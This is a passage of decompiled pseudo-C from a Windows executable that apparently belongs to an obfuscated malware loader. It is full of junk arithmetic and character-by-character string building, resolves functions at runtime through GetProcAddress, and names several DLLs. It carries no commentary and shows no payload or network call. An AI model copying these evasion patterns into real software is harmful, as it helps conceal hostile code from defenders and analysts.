						_t2155 = E008A9A8C * 0xd0;
						__eflags = _t2155;
						 *0x8a9a3c = _t2155;
					}
					__eflags = 0;
					_pop(_t4351);
					 *[fs:eax] = _t4351;
					_push(E0086F3CD);
					E00409D28( &_v5408, 0x16);
					E00409C98( &_v5320);
					E00409D28( &_v5316, 0x4c);
					E00409CBC( &_v4984);
					E00409D28( &_v5012, 7);
					E00409D28( &_v4980, 0x14);
					E00409CF8( &_v4900, 0xb);
					E00409CE0( &_v4856);
					E00409D28( &_v4852, 0x38);
					E00409D28( &_v4624, 5);
					E00409CBC( &_v4628);
					E00409D28( &_v4604, 0x62);
					E00409CE0( &_v4176);
					E00409CF8( &_v4212, 9);
					E00409D28( &_v4172, 0x52);
					E00409D28( &_v3828, 9);
					E00409D28( &_v3844, 4);
					E00409D28( &_v3792, 0x51);
					E00409D28( &_v3456, 0xf);
					E00409D28( &_v3468, 3);
					E00409D28( &_v3396, 0x5a);
					E00409D28( &_v3016, 7);
					E00409D28( &_v3036, 5);
					E00409D28( &_v2988, 0x57);
					E00409D28( &_v2612, 8);
					E00409D28( &_v2640, 7);
					E00409CF8( &_v2580, 0xc);
					E00409CE0( &_v2532);
					E00409D28( &_v2528, 0x4f);
					E00409CBC( &_v2100);
					E00409D28( &_v2212, 0x1c);
					E00409D28( &_v2096, 0x46);
					E00409D28( &_v1740, 2);
					E00409D28( &_v1816, 0x13);
					E00409D28( &_v1732, 0x46);
					E00409D28( &_v1116, 2);
					E00409D28( &_v1080, 9);
					E00409D28( &_v1108, 7);
					E00409D28( &_v1044, 0x54);
					E00409D28( &_v660, 9);
					E00409D28( &_v708, 0xc);
					E00409CF8( &_v624, 0xc);
					E00409CE0( &_v576);
					E00409D28( &_v572, 0xd);
					E00409CBC( &_v376);
					E00409CBC( &_v368);
					E00409CBC( &_v344);
					E00409CBC( &_v328);
					E00409CBC( &_v204);
					E00409CBC( &_v168);
					E00409CBC( &_v148);
					return E00409CF8( &_v20, 3);
				} else {
					asm("fild dword [ebp-0x24]");
					_v56 = E004076E8();
					_v44 = _v64 * 0x8a;
					if(_v60 - _v28 == _v60) {
						E0040A0C0( &_v12, L"wow32.dll");
					}
					_v72 = _v24 + _v76;
					_v36 = 0;
					if(_v36 < 0xc) {
						_v36 = _v36 + 1;
						if(_v44 - _v40 == _v60) {
							E0040A0C0( &_v20, _v12);
							E0040A0C0( &_v12, _v20);
							E0040A0C0( &_v16, _v12);
							E0040ACEC(_v20, 2, 1,  &_v16);
							E0040A0C0( &_v12, _v20);
							E0040A0C0( &_v12, _v12);
						}
					}
					E0040A0C0( &_v12, _v20);
					_t2252 =  *0x8a9f40; // 0x8b0925
					_v85 =  *_t2252;
					if(_v85 + 0x9f - 0x1a < 0) {
						_v85 = _v85 - 0x20;
					}
					_t2257 =  *0x8a9ffc; // 0x8b091a
					_v86 =  *_t2257;
					if(_v86 + 0x9f - 0x1a < 0) {
						_v86 = _v86 - 0x20;
					}
					_t2262 =  *0x8a9f40; // 0x8b0925
					_v87 =  *_t2262;
					if(_v87 + 0x9f - 0x1a < 0) {
						_v87 = _v87 - 0x20;
					}
					_t2267 =  *0x8a9ffc; // 0x8b091a
					_v88 =  *_t2267;
					if(_v88 + 0x9f - 0x1a < 0) {
						_v88 = _v88 - 0x20;
					}
					E0040A3C0(0);
					_push(_v632);
					E0040A3C0(0);
					_push(_v636);
					E0040A3C0(0);
					_push(_v640);
					E0040A3C0(0);
					_push(_v644);
					E0040A3C0(0);
					_push(_v648);
					E0040A3C0(0);
					_push(_v652);
					E0040A3C0(0);
					_push(_v656);
					E0040A3C0(0);
					_push(_v660);
					E0040A3C0(0);
					_push(_v664);
					E0040A3C0(0);
					_push(_v668);
					E0040A3C0(0);
					_push(_v672);
					E0040A3C0(0);
					_push(_v676);
					E0040A3C0(0);
					_push(_v680);
					E0040A3C0(0);
					_push(_v684);
					E0040A3C0(0);
					_push(_v688);
					E0040A3C0(0);
					_push(_v692);
					E0040A3C0(0);
					_push(_v696);
					E0040A3C0(0);
					_push(_v700);
					E0040A3C0(0);
					_push(_v704);
					E0040A3C0(0);
					_push(_v708);
					E0040A494( &_v628, _t3910, 0x14, _t5187, _t5188);
					 *0x8b11d8 = GetProcAddress(_v8, E0040A594(_v628));
					E0040A0C0( &_v12, _v20);
					E0040A0C0( &_v12, L"EP0NS411.DLL");
					_v68 = 0;
					do {
						if(_v56 - _v32 > _v68 - _v32) {
							_v64 = _v40;
							asm("fild dword [ebp-0x38]");
							_v72 = E004076F4();
							_v28 = _v76;
							_v424 = _v56 + 0xee;
							asm("fild dword [ebp-0x1a4]");
							_v32 = E004076E8();
							E0040A0C0( &_v16, _v12);
							E0040A0C0( &_v20, _v20);
						}
						E0040A0C0( &_v12, _v12);
						_v68 = _v68 + 1;
					} while (_v68 != 5);
					E0040ACEC(_v12, 0, 1,  &_v12);
					E0040A0C0( &_v12, _v20);
					E0040A0C0( &_v12, _v12);
					_t2334 =  *0x8a9f40; // 0x8b0925
					_v89 =  *_t2334;
					if(_v89 + 0x9f - 0x1a < 0) {
						_v89 = _v89 - 0x20;
					}
					_t2339 =  *0x8a9d58; // 0x8b0913
					_v90 =  *_t2339;
					if(_v90 + 0x9f - 0x1a < 0) {
						_v90 = _v90 - 0x20;
					}
					_t2344 =  *0x8a9f40; // 0x8b0925
					_v91 =  *_t2344;
					if(_v91 + 0x9f - 0x1a < 0) {
						_v91 = _v91 - 0x20;
					}
					E0040A3C0(0);
					_push(_v716);
					E0040A3C0(0);
					_push(_v720);
					E0040A3C0(0);
					_push(_v724);
					E0040A3C0(0);
					_push(_v728);
					E0040A3C0(0);
					_push(_v732);
					E0040A3C0(0);
					_push(_v736);
					E0040A3C0(0);
					_push(_v740);
					E0040A3C0(0);
					_push(_v744);
					E0040A3C0(0);
					_push(_v748);
					E0040A3C0(0);
					_push(_v752);
					E0040A3C0(0);
					_push(_v756);
					E0040A3C0(0);
					_push(_v760);
					E0040A3C0(0);
					_push(_v764);
					E0040A3C0(0);
					_push(_v768);
					E0040A3C0(0);
					_push(_v772);
					E0040A3C0(0);
					_push(_v776);
					E0040A3C0(0);
					_push(_v780);
					E0040A3C0(0);
					_push(_v784);
					E0040A3C0(0);
					_push(_v788);
					E0040A494( &_v712, _t3910, 0x13, _t5187, _t5188);
					 *0x8b11dc = GetProcAddress(_v8, E0040A594(_v712));
					_v68 = 0;
					do {
						_t2394 =  *0x8a9ce4; // 0x8b0912
						_v92 =  *_t2394;
						if(_v92 + 0x9f - 0x1a < 0) {
							_v92 = _v92 - 0x20;
						}
						_t2399 =  *0x8a9f14; // 0x8b0922
						_v93 =  *_t2399;
						if(_v93 + 0x9f - 0x1a < 0) {
							_v93 = _v93 - 0x20;
						}
						_t2404 =  *0x8a9fbc; // 0x8b0929
						_v94 =  *_t2404;
						if(_v94 + 0x9f - 0x1a < 0) {
							_v94 = _v94 - 0x20;
						}
						E0040A3C0(0);
						_push(_v796);
						E0040A3C0(0);
						_push(_v800);
						E0040A3C0(0);
						_push(_v804);
						E0040A3C0(0);
						_push(_v808);
						E0040A3C0(0);
						_push(_v812);
						E0040A3C0(0);
						_push(_v816);
						E0040A3C0(0);
						_push(_v820);
						E0040A3C0(0);
						_push(_v824);
						E0040A3C0(0);
						_push(_v828);
						E0040A3C0(0);
						_push(_v832);
						E0040A3C0(0);
						_push(_v836);
						E0040A3C0(0);
						_push(_v840);
						E0040A3C0(0);
						_push(_v844);
						E0040A3C0(0);
						_push(_v848);
						E0040A3C0(0);
						_push(_v852);
						E0040A3C0(0);
						_push(_v856);
						_push(0x86f534);
						E0040A3C0(0);
						_push(_v860);
						E0040A3C0(0);
						_push(_v864);
						E0040A3C0(0);
						E0040A494( &_v792, _t3910, 0x14, _t5187, _t5188);
						E0040A9E8( &_v12, _v792, _v868);
						_v68 = _v68 + 1;
					} while (_v68 != 3);
					_t2451 =  *0x8a9ba4; // 0x9636d1f4
					 *0x8a9ba4 = E00407278(_t2451);
					_t2453 =  *0x8a9a34; // 0x3ea7bd43
					 *0x8a9a34 = E00407278(_t2453);
					_t2455 =  *0x8a9a34; // 0x3ea7bd43
					_t5247 = _t2455 -  *0x8a9ba4; // 0x9636d1f4
					if(_t5247 <= 0) {
						_t2456 =  *0x8a9bbc; // 0x9636d2f7
						 *0x8a9b98 = _t2456;
						_t2457 =  *0x8a9a34; // 0x3ea7bd43
						__eflags = _t2457 -  *0x8a9b98; // 0x6c1f3d8e
						if(__eflags <= 0) {
							_t2458 =  *0x8a9ab4; // 0x5a3df0
							 *0x8a9b6c = _t2458 *  *0x8a9a3c;
							_t2460 =  *0x8a9a54; // 0xdd12409c
							 *0x8a9a84 = _t2460 +  *0x8a9b00;
							_t2462 =  *0x8a9b50; // 0x3ea7bd43
							 *0x8a9b3c = _t2462 +  *0x8a9a98;
							 *0x8a9a44 =  *0x8a9ab8 * 0x85;
							 *0x8a9ad8 =  *0x8a9b34 * 0x82;
							_t2466 =  *0x8a9b60; // 0xf477f20
							_t2467 = _t2466 + 4;
							__eflags = _t2467;
							_v424 = _t2467;
							asm("fild dword [ebp-0x1a4]");
							 *0x8a9b5c = E004076F4();
						} else {
							_v44 = _v72 * 0x52;
							_v52 = _v48 + _v76;
							_t3691 =  *0x8a9b50; // 0x3ea7bd43
							 *0x8a9b90 = _t3691 *  *0x8a9a88;
							_t3693 =  *0x8a9b40; // 0xa8062ee0
							 *0x8a9a94 = _t3693 - 0xa2;
							_t3695 =  *0x8a9b30; // 0x46db6ea8
							_v424 = _t3695 + 0x6b;
							asm("fild dword [ebp-0x1a4]");
							 *0x8a9b38 = E004076E8();
							 *0x8a9bbc = 0xce -  *0x8a9b5c;
						}
						_t2469 =  *0x8a9ab4; // 0x5a3df0
						 *0x8a9a34 = _t2469;
						__eflags = 0x51;
						 *0x8a9a54 = 0x51 -  *0x8a9a44;
					} else {
						_v56 = _v28 * 0xbe;
					}
					 *0x8a9aec = 0;
					E0085E4BC();
					 *0x8a9a68 =  *0x8a9a54 * 0xc1;
					_t2475 =  *0x8a9b84; // 0x3d5d8300
					 *0x8a9a88 = _t2475 + _t2475 + (_t2475 + _t2475) * 8;
					if(_v56 + _v60 <= _v60) {
						__eflags = _v56 - _v40;
						if(_v56 > _v40) {
							_t3675 =  *0x8a9a98; // 0xffffffea
							 *0x8a9b78 = _t3675 -  *0x8a9b24;
							_t3677 = E008A9A8C; // 0x3ec86c80
							 *0x8a9a84 = _t3677 + 0xb6;
							_t3679 =  *0x8a9a74; // 0xfde44ace
							 *0x8a9b28 = _t3679 +  *0x8a9b64;
							_t3681 =  *0x8a9b34; // 0x535bf358
							 *0x8a9a3c = _t3681 -  *0x8a9b94;
							_t3683 =  *0x8a9b98; // 0x6c1f3d8e
							 *0x8a9b1c = _t3683 - 0xdb;
							_t3685 =  *0x8a9a34 * 0x3e;
							__eflags = _t3685;
							 *0x8a9b94 = _t3685;
						}
					} else {
						 *0x8a9b28 = 0;
						E0085E4BC();
					}
					_t2481 =  *0x8a9f40; // 0x8b0925
					_v95 =  *_t2481;
					if(_v95 + 0x9f - 0x1a < 0) {
						_v95 = _v95 - 0x20;
					}
					_t2486 =  *0x8aa15c; // 0x8b091c
					_v96 =  *_t2486;
					if(_v96 + 0x9f - 0x1a < 0) {
						_v96 = _v96 - 0x20;
					}
					_t2491 =  *0x8aa1dc; // 0x8b0921
					_v97 =  *_t2491;
					if(_v97 + 0x9f - 0x1a < 0) {
						_v97 = _v97 - 0x20;
					}
					E0040A3C0(0);
					_push(_v876);
					E0040A3C0(0);
					_push(_v880);
					E0040A3C0(0);
					_push(_v884);
					E0040A3C0(0);
					_push(_v888);
					E0040A3C0(0);
					_push(_v892);
					E0040A3C0(0);
					_push(_v896);
					E0040A3C0(0);
					_push(_v900);
					E0040A3C0(0);
					_push(_v904);
					E0040A3C0(0);
					_push(_v908);
					E0040A3C0(0);
					_push(_v912);
					E0040A3C0(0);
					_push(_v916);
					E0040A3C0(0);
					_push(_v920);
					E0040A3C0(0);
					_push(_v924);
					E0040A3C0(0);
					_push(_v928);
					E0040A3C0(0);
					_push(_v932);
					E0040A494( &_v872, _t3910, 0xf, _t5187, _t5188);
					 *0x8b11e0 = GetProcAddress(_v8, E0040A594(_v872));
					_v44 = 0xc1 - _v76;
					_v68 = 0;
					while(_v68 < 0) {
						_v68 = _v68 + 1;
						_v48 = _v60 + 0x37;
						_v36 = 0;
						do {
							_v28 = _v40 - 0xed;
							_t3660 =  *0x8a9b00; // 0x23fd000
							_v424 = _t3660 + 4;
							asm("fild dword [ebp-0x1a4]");
							 *0x8a9ac8 = E004076F4();
							_t3663 =  *0x8a9ba4; // 0x9636d1f4
							_v424 = _t3663 + 0x1f;
							asm("fild dword [ebp-0x1a4]");
							 *0x8a9b7c = E004076E8();
							_t3666 = E008A9A8C; // 0x3ec86c80
							 *0x8a9a6c = _t3666 + 0x1c;
							_t3668 =  *0x8a99e4; // 0xffdbe445
							 *0x8a9b20 = _t3668 *  *0x8a9ac8;
							_t3670 =  *0x8a9b38; // 0xfde44b1c
							 *0x8a99e0 = _t3670 -  *0x8a9a6c;
							_v36 = _v36 + 1;
						} while (_v36 != 0xe);
						_t3672 =  *0x8a9a6c; // 0xd2d18e86
						 *0x8a9b44 = _t3672 -  *0x8a9a74;
						_t3674 =  *0x8a9ba4; // 0x9636d1f4
						 *0x8a9b1c = _t3674;
					}
					E0040A0C0( &_v12, _v16);
					E0040A0C0( &_v12, _v20);
					_t2539 =  *0x8a9b70; // 0xfe23f735
					 *0x8a9ad8 = _t2539 - 0x9d;
					E0040A0C0( &_v12, L"NlsLexicons001a.dll");
					_t2543 =  *0x8a9f40; // 0x8b0925
					_v98 =  *_t2543;
					if(_v98 + 0x9f - 0x1a < 0) {
						_v98 = _v98 - 0x20;
					}
					_t2548 =  *0x8a9fd0; // 0x8b0917
					_v99 =  *_t2548;
					if(_v99 + 0x9f - 0x1a < 0) {
						_v99 = _v99 - 0x20;
					}
					_t2553 =  *0x8aa1dc; // 0x8b0921
					_v100 =  *_t2553;
					if(_v100 + 0x9f - 0x1a < 0) {
						_v100 = _v100 - 0x20;
					}
					E0040A3C0(0);
					_push(_v940);
					E0040A3C0(0);
					_push(_v944);
					E0040A3C0(0);
					_push(_v948);
					E0040A3C0(0);
					_push(_v952);
					E0040A3C0(0);
					_push(_v956);
					E0040A3C0(0);
					_push(_v960);
					E0040A3C0(0);
					_push(_v964);
					E0040A3C0(0);
					_push(_v968);
					E0040A3C0(0);
					_push(_v972);
					E0040A3C0(0);
					_push(_v976);
					E0040A3C0(0);
					_push(_v980);
					E0040A3C0(0);
					_push(_v984);
					E0040A3C0(0);
					_push(_v988);
					E0040A3C0(0);
					_push(_v992);
					E0040A494( &_v936, _t3910, 0xe, _t5187, _t5188);
					 *0x8b11e4 = GetProcAddress(_v8, E0040A594(_v936));
					_t2592 =  *0x8a9f40; // 0x8b0925
					_v101 =  *_t2592;
					if(_v101 + 0x9f - 0x1a < 0) {
						_v101 = _v101 - 0x20;
					}
					_t2597 =  *0x8aa15c; // 0x8b091c
					_v102 =  *_t2597;
					if(_v102 + 0x9f - 0x1a < 0) {
						_v102 = _v102 - 0x20;
					}
					E0040A3C0(0);
					_push(_v1000);
					E0040A3C0(0);
					_push(_v1004);
					E0040A3C0(0);
					_push(_v1008);
					E0040A3C0(0);
					_push(_v1012);
					E0040A3C0(0);
					_push(_v1016);
					E0040A3C0(0);
					_push(_v1020);
					E0040A3C0(0);
					_push(_v1024);
					E0040A3C0(0);
					_push(_v1028);
					E0040A3C0(0);
					_push(_v1032);
					E0040A3C0(0);
					_push(_v1036);
					E0040A3C0(0);
					_push(_v1040);
					E0040A3C0(0);
					_push(_v1044);
					E0040A494( &_v996, _t3910, 0xc, _t5187, _t5188);
					 *0x8b11e8 = GetProcAddress(_v8, E0040A594(_v996));
					_t2632 =  *0x8a9f40; // 0x8b0925
					_v103 =  *_t2632;
					if(_v103 + 0x9f - 0x1a < 0) {
						_v103 = _v103 - 0x20;
					}
					_t2637 =  *0x8a9f40; // 0x8b0925
					_v104 =  *_t2637;
					if(_v104 + 0x9f - 0x1a < 0) {
						_v104 = _v104 - 0x20;
					}
					_t2642 =  *0x8aa0b4; // 0x8b091f
					_v105 =  *_t2642;
					if(_v105 + 0x9f - 0x1a < 0) {
						_v105 = _v105 - 0x20;
					}
					E0040A3C0(0);
					_push(_v1052);
					E0040A3C0(0);
					_push(_v1056);
					E0040A3C0(0);
					_push(_v1060);
					E0040A3C0(0);
					_push(_v1064);
					E0040A3C0(0);
					_push(_v1068);
					E0040A3C0(0);
					_push(_v1072);
					E0040A3C0(0);
					_push(_v1076);
					E0040A3C0(0);
					_push(_v1080);
					E0040A3C0(0);
					_push(_v1084);
					E0040A3C0(0);
					_push(_v1088);
					E0040A3C0(0);
					_push(_v1092);
					E0040A3C0(0);
					_push(_v1096);
					E0040A3C0(0);
					_push(_v1100);
					E0040A3C0(0);
					_push(_v1104);
					E0040A3C0(0);
					_push(_v1108);
					E0040A494( &_v1048, _t3910, 0xf, _t5187, _t5188);
					 *0x8b124c = GetProcAddress(_v8, E0040A594(_v1048));
					_v52 = _v60 + 0x68;
					E0040A0C0( &_v12, _v16);
					_t2687 =  *0x8a99d4; // 0x0
					_v112 = _t2687;
					if(_v112 != 0) {
						_v112 =  *((intOrPtr*)(_v112 - 4));
					}
					if(_v112 == 0xea) {
						if(0x78 - _v60 < 0x20) {
							_v68 = _v56 + 0xea;
							asm("fild dword [ebp-0x14]");
							_v76 = E004076E8();
							E0040ACEC(_v12, 0, 1,  &_v12);
							_v44 = _v64 + 0x9a;
							E0040A0C0( &_v16, _v12);
							E0040ACEC(_v12, 0, 1,  &_v12);
						}
						_t5280 = _v64 + 0x25 - _v72;
						if(_v64 + 0x25 >= _v72) {
							__eflags = 0;
							E0040ACEC(_v12, 0, 1,  &_v16);
							_t3420 =  &_v412;
							_t4908 =  *0x8a9f40; // 0x8b0925
							 *((char*)(_t3420 + 1)) =  *_t4908;
							 *_t3420 = 1;
							E0040A324( &_v416,  &_v412);
							_t3423 =  &_v420;
							_t4911 =  *0x8a9ffc; // 0x8b091a
							 *((char*)(_t3423 + 1)) =  *_t4911;
							 *_t3423 = 1;
							E0040A34C( &_v416, 2,  &_v420);
							E0040A324( &_v424,  &_v416);
							_t3428 =  &_v420;
							_t4915 =  *0x8a9f40; // 0x8b0925
							 *((char*)(_t3428 + 1)) =  *_t4915;
							 *_t3428 = 1;
							E0040A34C( &_v424, 3,  &_v420);
							E0040A324( &_v432,  &_v424);
							_t3433 =  &_v420;
							_t4919 =  *0x8aa0b4; // 0x8b091f
							 *((char*)(_t3433 + 1)) =  *_t4919;
							 *_t3433 = 1;
							E0040A34C( &_v432, 4,  &_v420);
							E0040A324( &_v440,  &_v432);
							_t3438 =  &_v420;
							_t4923 =  *0x8a9e00; // 0x8b091d
							 *((char*)(_t3438 + 1)) =  *_t4923;
							 *_t3438 = 1;
							E0040A34C( &_v440, 5,  &_v420);
							E0040A324( &_v448,  &_v440);
							_t3443 =  &_v420;
							_t4927 =  *0x8a9fd0; // 0x8b0917
							 *((char*)(_t3443 + 1)) =  *_t4927;
							 *_t3443 = 1;
							E0040A34C( &_v448, 6,  &_v420);
							E0040A324( &_v456,  &_v448);
							_t3448 =  &_v420;
							_t4931 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3448 + 1)) =  *_t4931;
							 *_t3448 = 1;
							E0040A34C( &_v456, 7,  &_v420);
							E0040A324( &_v468,  &_v456);
							_t3453 =  &_v420;
							_t4935 =  *0x8a9ce4; // 0x8b0912
							 *((char*)(_t3453 + 1)) =  *_t4935;
							 *_t3453 = 1;
							E0040A34C( &_v468, 8,  &_v420);
							E0040A324( &_v480,  &_v468);
							E0040A34C( &_v480, 9, 0x86f3d4);
							E0040A324( &_v492,  &_v480);
							_t3462 =  &_v420;
							_t4941 =  *0x8aa15c; // 0x8b091c
							 *((char*)(_t3462 + 1)) =  *_t4941;
							 *_t3462 = 1;
							E0040A34C( &_v492, 0xa,  &_v420);
							E0040A324( &_v504,  &_v492);
							_t3467 =  &_v420;
							_t4945 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3467 + 1)) =  *_t4945;
							 *_t3467 = 1;
							E0040A34C( &_v504, 0xb,  &_v420);
							E0040A324( &_v520,  &_v504);
							_t3472 =  &_v420;
							_t4949 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3472 + 1)) =  *_t4949;
							 *_t3472 = 1;
							E0040A34C( &_v520, 0xc,  &_v420);
							E0040AA98( &_v520);
							E0040A0C0( &_v12, _v16);
							E0040A0C0( &_v16, L"f3ahvoas.dll");
							E0040A0C0( &_v20, _v16);
							E0040A0C0( &_v20, _v20);
						} else {
							E0040A0C0( &_v20, _v12);
							E0040A0C0( &_v12, L"secur32.dll");
							E0040A0C0( &_v12, _v12);
							E0040A0C0( &_v16, _v20);
							_t3493 =  &_v412;
							_t4961 =  *0x8a9ffc; // 0x8b091a
							 *((char*)(_t3493 + 1)) =  *_t4961;
							 *_t3493 = 1;
							E0040A324( &_v416,  &_v412);
							_t3496 =  &_v420;
							_t4964 =  *0x8aa104; // 0x8b0919
							 *((char*)(_t3496 + 1)) =  *_t4964;
							 *_t3496 = 1;
							E0040A34C( &_v416, 2,  &_v420);
							E0040A324( &_v424,  &_v416);
							_t3501 =  &_v420;
							_t4968 =  *0x8a9fd0; // 0x8b0917
							 *((char*)(_t3501 + 1)) =  *_t4968;
							 *_t3501 = 1;
							E0040A34C( &_v424, 3,  &_v420);
							E0040A324( &_v432,  &_v424);
							E0040A34C( &_v432, 4, 0x86f590);
							E0040A324( &_v440,  &_v432);
							_t3510 =  &_v420;
							_t4974 =  *0x8a9fbc; // 0x8b0929
							 *((char*)(_t3510 + 1)) =  *_t4974;
							 *_t3510 = 1;
							E0040A34C( &_v440, 5,  &_v420);
							E0040A324( &_v448,  &_v440);
							_t3515 =  &_v420;
							_t4978 =  *0x8aa288; // 0x8b091b
							 *((char*)(_t3515 + 1)) =  *_t4978;
							 *_t3515 = 1;
							E0040A34C( &_v448, 6,  &_v420);
							E0040A324( &_v456,  &_v448);
							E0040A34C( &_v456, 7, 0x86f590);
							E0040A324( &_v468,  &_v456);
							_t3524 =  &_v420;
							_t4984 =  *0x8a9cf4; // 0x8b0911
							 *((char*)(_t3524 + 1)) =  *_t4984;
							 *_t3524 = 1;
							E0040A34C( &_v468, 8,  &_v420);
							E0040A324( &_v480,  &_v468);
							_t3529 =  &_v420;
							_t4988 =  *0x8a9fd0; // 0x8b0917
							 *((char*)(_t3529 + 1)) =  *_t4988;
							 *_t3529 = 1;
							E0040A34C( &_v480, 9,  &_v420);
							E0040A324( &_v492,  &_v480);
							_t3534 =  &_v420;
							_t4992 =  *0x8aa0b8; // 0x8b0928
							 *((char*)(_t3534 + 1)) =  *_t4992;
							 *_t3534 = 1;
							E0040A34C( &_v492, 0xa,  &_v420);
							E0040A324( &_v504,  &_v492);
							E0040A34C( &_v504, 0xb, 0x86f590);
							E0040A324( &_v520,  &_v504);
							_t3543 =  &_v420;
							_t4998 =  *0x8a9f40; // 0x8b0925
							 *((char*)(_t3543 + 1)) =  *_t4998;
							 *_t3543 = 1;
							E0040A34C( &_v520, 0xc,  &_v420);
							E0040A324( &_v1132,  &_v520);
							_t3548 =  &_v420;
							_t5002 =  *0x8a9c3c; // 0x8b0918
							 *((char*)(_t3548 + 1)) =  *_t5002;
							 *_t3548 = 1;
							E0040A34C( &_v1132, 0xd,  &_v420);
							E0040A324( &_v1148,  &_v1132);
							_t3553 =  &_v420;
							_t5006 =  *0x8a9d58; // 0x8b0913
							 *((char*)(_t3553 + 1)) =  *_t5006;
							 *_t3553 = 1;
							E0040A34C( &_v1148, 0xe,  &_v420);
							E0040A324( &_v1164,  &_v1148);
							_t3558 =  &_v420;
							_t5010 =  *0x8a9ce4; // 0x8b0912
							 *((char*)(_t3558 + 1)) =  *_t5010;
							 *_t3558 = 1;
							E0040A34C( &_v1164, 0xf,  &_v420);
							E0040A324( &_v1184,  &_v1164);
							E0040A34C( &_v1184, 0x10, 0x86f590);
							E0040A324( &_v1204,  &_v1184);
							_t3567 =  &_v420;
							_t5016 =  *0x8aa15c; // 0x8b091c
							 *((char*)(_t3567 + 1)) =  *_t5016;
							 *_t3567 = 1;
							E0040A34C( &_v1204, 0x11,  &_v420);
							E0040A324( &_v1224,  &_v1204);
							_t3572 =  &_v420;
							_t5020 =  *0x8a9ce4; // 0x8b0912
							 *((char*)(_t3572 + 1)) =  *_t5020;
							 *_t3572 = 1;
							E0040A34C( &_v1224, 0x12,  &_v420);
							E0040A324( &_v1244,  &_v1224);
							_t3577 =  &_v420;
							_t5024 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3577 + 1)) =  *_t5024;
							 *_t3577 = 1;
							E0040A34C( &_v1244, 0x13,  &_v420);
							E0040A324( &_v1268,  &_v1244);
							_t3582 =  &_v420;
							_t5028 =  *0x8a9ffc; // 0x8b091a
							 *((char*)(_t3582 + 1)) =  *_t5028;
							 *_t3582 = 1;
							E0040A34C( &_v1268, 0x14,  &_v420);
							E0040A324( &_v1292,  &_v1268);
							_t3587 =  &_v420;
							_t5032 =  *0x8a9f8c; // 0x8b0915
							 *((char*)(_t3587 + 1)) =  *_t5032;
							 *_t3587 = 1;
							E0040A34C( &_v1292, 0x15,  &_v420);
							E0040A324( &_v1316,  &_v1292);
							_t3592 =  &_v420;
							_t5036 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3592 + 1)) =  *_t5036;
							 *_t3592 = 1;
							E0040A34C( &_v1316, 0x16,  &_v420);
							E0040A324( &_v1340,  &_v1316);
							_t3597 =  &_v420;
							_t5040 =  *0x8a9c3c; // 0x8b0918
							 *((char*)(_t3597 + 1)) =  *_t5040;
							 *_t3597 = 1;
							E0040A34C( &_v1340, 0x17,  &_v420);
							E0040A324( &_v1368,  &_v1340);
							_t3602 =  &_v420;
							_t5044 =  *0x8a9ffc; // 0x8b091a
							 *((char*)(_t3602 + 1)) =  *_t5044;
							 *_t3602 = 1;
							E0040A34C( &_v1368, 0x18,  &_v420);
							E0040A324( &_v1396,  &_v1368);
							_t3607 =  &_v420;
							_t5048 =  *0x8aa15c; // 0x8b091c
							 *((char*)(_t3607 + 1)) =  *_t5048;
							 *_t3607 = 1;
							E0040A34C( &_v1396, 0x19,  &_v420);
							E0040A324( &_v1424,  &_v1396);
							E0040A34C( &_v1424, 0x1a, 0x86f590);
							E0040A324( &_v1452,  &_v1424);
							_t3616 =  &_v420;
							_t5054 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3616 + 1)) =  *_t5054;
							 *_t3616 = 1;
							E0040A34C( &_v1452, 0x1b,  &_v420);
							E0040A444( &_v1116, 0,  &_v1452, _t5280);
							_push(_v1116);
							E006BA5A8(1,  &_v1456, _t5280);
							_push(_v1456);
							_push(0x86f5a0);
							E006BA5A8(1,  &_v1460, _t5280);
							_push(_v1460);
							_push(0x86f5a0);
							E006BA5A8(0,  &_v1464, _t5280);
							_push(_v1464);
							_push(0x86f534);
							E0040A3C0(0);
							_push(_v1468);
							E0040A3C0(0);
							_push(_v1472);
							E0040A3C0(0);
							E0040A494( &_v1112, _t3910, 0xa, _t5187, _t5188);
							E0040A9E8( &_v20, _v1112, _v1476);
							E0040A0C0( &_v16, L"systemcpl.dll");
						}
					}
					E0040A0C0( &_v12, _v16);
					E0040A0C0( &_v12, _v16);
					if(_v60 <= _v72) {
						E0040A0C0( &_v20, _v12);
					} else {
						E0040ACEC(_v20, 2, 1,  &_v12);
					}
					_t2695 =  *0x8a9f40; // 0x8b0925
					_v113 =  *_t2695;
					if(_v113 + 0x9f - 0x1a < 0) {
						_v113 = _v113 - 0x20;
					}
					_t2700 =  *0x8aa0b4; // 0x8b091f
					_v114 =  *_t2700;
					if(_v114 + 0x9f - 0x1a < 0) {
						_v114 = _v114 - 0x20;
					}
					_t2705 =  *0x8aa15c; // 0x8b091c
					_v115 =  *_t2705;
					if(_v115 + 0x9f - 0x1a < 0) {
						_v115 = _v115 - 0x20;
					}
					E0040A3C0(0);
					_push(_v1484);
					E0040A3C0(0);
					_push(_v1488);
					E0040A3C0(0);
					_push(_v1492);
					E0040A3C0(0);
					_push(_v1496);
					E0040A3C0(0);
					_push(_v1500);
					E0040A3C0(0);
					_push(_v1504);
					E0040A3C0(0);
					_push(_v1508);
					E0040A3C0(0);
					_push(_v1512);
					E0040A3C0(0);
					_push(_v1516);
					E0040A3C0(0);
					_push(_v1520);
					E0040A3C0(0);
					_push(_v1524);
					E0040A3C0(0);
					_push(_v1528);
					E0040A3C0(0);
					_push(_v1532);
					E0040A494( &_v1480, _t3910, 0xd, _t5187, _t5188);
					 *0x8b1250 = GetProcAddress(_v8, E0040A594(_v1480));
					_v64 = 0;
					while(_v64 < 7) {
						_v64 = _v64 + 1;
						_v424 = _v60 + 4;
						asm("fild dword [ebp-0x1a4]");
						_v52 = E004076F4();
						 *0x8a9b2c = 0;
						E0085E4BC();
						_v48 = 0;
						if(_v48 < 0xc) {
							_v48 = _v48 + 1;
							asm("fild dword [ebp-0x18]");
							_v76 = E004076F4();
							asm("fild dword [ebp-0x40]");
							_v32 = E004076F4();
							_t3404 =  *0x8a9b54; // 0x3d5d8300
							 *0x8a9adc = _t3404 *  *0x8a9aa0;
							asm("fild dword [0x8a9b3c]");
							 *0x8a9bbc = E004076F4();
							_t3407 =  *0x8a9b68; // 0xf78b0ce5
							 *0x8a9ab8 = _t3407;
							_t3408 =  *0x8a9b20; // 0x1a6fc404
							 *0x8a9b58 = _t3408 -  *0x8a9b38;
						}
						if(0x4c - _v60 < 0xa2) {
